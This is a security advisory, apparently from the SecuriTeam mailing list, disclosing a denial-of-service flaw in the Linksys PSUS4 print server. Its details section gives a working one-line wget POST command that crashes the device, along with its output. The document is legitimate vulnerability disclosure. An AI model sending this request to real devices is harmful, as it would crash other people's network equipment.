The following security advisory is sent to the securiteam mailing list, and can
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Linksys PSUS4 DoS
------------------------------------------------------------------------
SUMMARY
<http://www.linksys.com/products/product.asp?grid=34&scid=32&prid=580>
Linksys PSUS4 is "one of the smallest embedded Linksys wired print
servers".
A vulnerability in Linksys PSUS4 product allows a remote attacker to cause
the embedded device to crash by sending it a malformed HTTP packet.
DETAILS
Vulnerable Systems:
* Linksys PSUS4 firmware version 6032
Rstack team has found a denial of service on the Linksys PSUS4 that can be
triggered by using the following command line:
$ wget --post-data="Br1Ce2N1c3" http://192.168.1.2/
--23:10:05-- http://192.168.1.2/
=> `index.html'
Connecting to 192.168.1.2:80... connected.
HTTP request sent, awaiting response...
ADDITIONAL INFORMATION
The information has been provided by <mailto:oudot@rstack.org> laurent
oudot.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to:
list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any
kind.
In no event shall we be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special
damages.
